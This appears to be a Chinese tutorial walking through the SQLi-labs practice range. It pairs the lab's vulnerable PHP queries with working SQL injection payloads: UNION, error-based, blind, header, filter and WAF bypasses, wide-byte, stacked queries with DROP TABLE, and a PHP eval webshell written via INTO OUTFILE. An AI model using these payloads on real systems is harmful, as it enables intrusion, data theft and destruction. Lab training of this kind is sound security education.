SQLI靶场
一、SQL 注入的底层逻辑
在开始靶场之前,必须掌握的 MySQL 内核知识。
1.1MySQL 执行流与注入本质
注入的本质是数据与代码的混淆。当用户输入的数据被解释器当作代码执行时,注入就发生了。
- 词法分析(Lexical Analysis) :MySQL 将 SQL 语句拆解为 Token(关键字、标识符、字面量)。攻击者利用注释符
/* */或--+截断后续 Token,或利用引号'逃逸出字面量 Token,进入关键字 Token 区域。 - 语法分析(Syntax Analysis) :生成抽象语法树(AST)。Union 注入就是利用
UNION关键字将两个 AST 子树拼接,要求两棵子树的投影(Project)列数必须一致。
1.2关键函数与系统表
information_schema库:SCHEMATA: 存储数据库信息 (schema_name)。TABLES: 存储表信息 (table_name,table_schema)。COLUMNS: 存储列信息 (column_name,table_name)。
- 数据连接函数 :
concat(str1, str2): 直接拼接。concat_ws(separator, str1, str2): 带分隔符拼接。group_concat(col): 将多行结果拼接为一行(注入神技,默认长度 1024)。
二、GET 基础注入 (Less 1-10)
Less-1: 基于单引号的字符型注入
源码审计:
php
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 原理 : 变量
$id被单引号包裹。输入1'导致 SQL 变为id='1'',单引号未闭合,报错。 - Payload :
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+
- 细节 : 为什么要用
-1?因为代码只取第一行 (LIMIT 0,1)。如果 ID=1 存在,联合查询的第二部分(我们的注入结果)会被丢弃。让前半部分为空(ID=-1),才能让后半部分"上位"。
Less-2: 基于整型的注入
源码审计:
php
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
- 原理 : 变量
$id无任何包裹。 - Payload : 无需闭合引号,直接开始注入。
?id=-1 union select...
Less-3 & Less-4: 括号闭合变体
- Less-3 :
id=('$id')-> 需要')闭合。 - Less-4 :
id=("$id")-> 需要")闭合。PHP 中双引号字符串处理与单引号类似。
Less-5: 双注入报错 (Double Query)
源码审计:
php
// 无回显位置
if($row) { echo 'You are in...'; }
else { print_r(mysqli_error($con1)); } // 打印错误信息!
- 场景: 页面不回显查询结果(Union 失效),但回显 SQL 错误。
- Payload :
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+
- 原理深度解析 :
floor(rand(0)*2)产生固定序列0,1,1,0,1,1...。- MySQL 在执行
GROUP BY时会建立虚拟表。若 Key 不存在,计算 Key 并插入;若 Key 存在,计数器 +1。 - 当计算 Key 为 1 (第三次) 时,表中已有 1,但由于 Rand 的多次计算特性(插入前算一次,插入时又算一次),导致尝试插入新的 Key 1,触发 Duplicate entry 错误。
Less-6: 双引号报错
同 Less-5,只是闭合方式换为双引号 "。
Less-7: 导出文件 (Outfile)
前提 : secure_file_priv 为空,且数据库用户有 FILE 权限。
- Payload :
?id=1')) UNION SELECT 1,2,'<?php eval($_POST[1]);?>' INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php' --+
- 难点: 必须知道 Web 绝对路径(通过报错或 phpinfo 获取)。
Less-8 ~ 10: 盲注 (Blind Injection)
场景: 页面只有"You are in"和无显示两种状态,无报错信息。
- 布尔盲注 :
?id=1' AND length(database())>5 --+(二分法判断)
- 时间盲注 :
?id=1' AND IF(ascii(substr(database(),1,1))=115, sleep(5), 0) --+- 即使 SQL 执行正确页面也无变化,利用
sleep造成的网络延迟判断真假。
三、POST 高级注入 (Less 11-22)
Less-11: POST 登录框注入
源码:
php
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd'";
- 万能密码 :
- User:
admin' # - Pass: 任意
- SQL:
... WHERE username='admin' #' and password='...'-> 注释掉密码判断。
- User:
Less-17: Update 报错注入 (User Password Reset)
场景 : 密码重置页面,已知用户名。
源码:
php
$sql = "UPDATE users SET password='$new_pass' WHERE username='$uname'";
- 这里
$uname被直接代入。但通常 Update 语句没有回显。 - Payload :
- User:
admin - New Pass:
1' and updatexml(1,concat(0x7e,database()),1)# - 利用
updatexml在 SQL 执行出错时将数据带出到错误信息中。
- User:
Less-18: User-Agent 头部注入
源码:
php
$uagent = $_SERVER['HTTP_USER_AGENT'];
$sql = "INSERT INTO uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', '$uname')";
- 利用: 许多开发者认为 Header 不可控。
- Payload (修改 UA Header):
' and extractvalue(1,concat(0x7e,database())), '1', '1')#- 注意必须闭合前面的单引号和括号,并补齐
VALUES列表中后续的字段(这里补了两个参数)。
四、WAF 对抗与过滤器绕过 (Less 23-38)
Less-23: 注释符过滤
源码审计:
php
$reg = "/#/";
$reg1 = "/--/";
$id = preg_replace($reg, "", $id); // 过滤了 #
$id = preg_replace($reg1, "", $id); // 过滤了 --
- 困境 : 无法使用
--+或#注释掉末尾的' LIMIT 0,1。 - 破局 : 既然不能注释,就手动闭合它。
- Payload :
?id=-1' UNION SELECT 1,2,3 OR '1'='1- 生成的 SQL:
... WHERE id='-1' UNION SELECT 1,2,3 OR '1'='1' LIMIT 0,1 - 最后的
'1'='1成功闭合了源码中的末尾单引号。
Less-25: 关键字过滤 (OR/AND)
源码:
php
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
- 双写绕过 :
oorr-> 被删中间or->or。anandd->and。
- 符号替代 :
||等价于OR。&&等价于AND。
Less-26: 空格与注释过滤
源码 : 过滤了空格 %20, --, #。
- 空格绕过 :
- Windows/Linux 通用:
%09(Tab),%0a(换行),%0b,%0c,%0d。 - 括号绕过:
SELECT(id)FROM(users)。
- Windows/Linux 通用:
- Payload :
?id=1'%a0union%a0select%a01,database(),3%a0or%a0'1'='1
Less-29: HPP 参数污染 (WAF Bypass)
架构: Tomcat (JSP) 做前置 WAF + Apache (PHP) 做后端。
- HPP 原理 :
- Tomcat 解析参数
id=1&id=2时,获取数组[1, 2]。WAF 可能只校验第一个id=1。 - Apache/PHP 解析参数时,
$_GET['id']取最后一个2。
- Tomcat 解析参数
- Payload :
?id=1&id=-1' union select 1,database(),3 --+- WAF 看到
id=1(安全)。PHP 执行 SQL 注入。
Less-32: 宽字节注入
场景 : 数据库使用 GBK 编码,且开启 check_addslashes() 转义 ' 为 \'。
- 原理 :
- 输入
%df%27。 - PHP 转义 ->
%df%5c%27(%5c是\). - MySQL (GBK) 解析 ->
%df%5c是汉字ß。 - 结果 ->
ß'。单引号逃逸成功。
- 输入
五、堆叠注入与 Order By (Less 38-53)
Less-38: 堆叠注入 (Stacked Queries)
这是 SQL 注入中最危险的一种。
源码审计:
php
if (mysqli_multi_query($con1, $sql)) // 核心函数!
与 mysqli_query 不同,mysqli_multi_query 允许执行 ; 分隔的多条语句。
- 攻击 :
?id=1'; INSERT INTO users(username,password) VALUES('hacker','pwned') --+?id=1'; DROP TABLE users --+(慎用)
- 限制: 后续语句通常无回显,且需要数据库驱动支持(PHP PDO 默认支持,mysqli 需要显式调用 multi_query)。
Less-46: Order By 注入 (Numeric)
源码:
php
$sql = "SELECT * FROM users ORDER BY $id";
- 特点 : 参数在
ORDER BY之后,不能用UNION(除非配合 Limit,但这里不行)。 - 利用 :
- 报错 :
?sort=(select updatexml(1,concat(0x7e,user()),1))。- MySQL 会先计算表达式,然后排序。计算时触发报错。
- 盲注 :
?sort=IF(ascii(substr(database(),1,1))>100, id, password)。- 如果真,按 ID 排序(1, 2, 3...)。
- 如果假,按 Password 排序(admin, dumb...)。
- 通过页面表格数据的顺序差异判断真假。
- 报错 :
六、高难度挑战区 (Less 54-65)
Less-54: 动态表名与次数限制 Challenge
这是一个模拟真实 CTF 的环境。
机制:
- 随机性 : 每次重置,表名、列名、Secret Key 都是随机生成的(如
ud6a7...)。 - 限制: 只有 10 次尝试机会。
- 目标: 拿到 Secret Key 提交。
通关策略:
- 探测 :
?id=1'. 发现是单引号字符型。 - 爆库名 :
?id=-1' union select 1,database(),3 --+-> 得到challenges。 - 爆表名 :
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+-> 得到随机表名kt48d...。 - 爆列名 :
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='kt48d...' --+-> 得到secret_key...。 - 拿数据 :
?id=-1' union select 1,secret_key...,3 from kt48d... --+。 - 提交: 在 10 次以内完成上述操作。
脚本化: 这种题目必须写 Python 脚本自动化。
python
# 伪代码
tn = get_table_name()
cn = get_column_name(tn)
key = get_data(tn, cn)
submit(key)
附录:核心速查表
| 名称 | 代码特征 | 典型 Payload |
|---|---|---|
| Union 注入 | mysqli_query |
UNION SELECT 1,2,3 |
| 报错注入 | print_r(mysqli_error) |
updatexml(1,concat(0x7e,user()),1) |
| 布尔盲注 | 无报错,有 True/False | AND ascii(substr(db(),1,1))>100 |
| 时间盲注 | 无任何差异 | AND IF(1=1,sleep(5),0) |
| 堆叠注入 | mysqli_multi_query |
; INSERT INTO... |
| 宽字节 | GBK + addslashes |
%df%27 |
| Order By | ORDER BY $id |
IF(1=1, id, price) |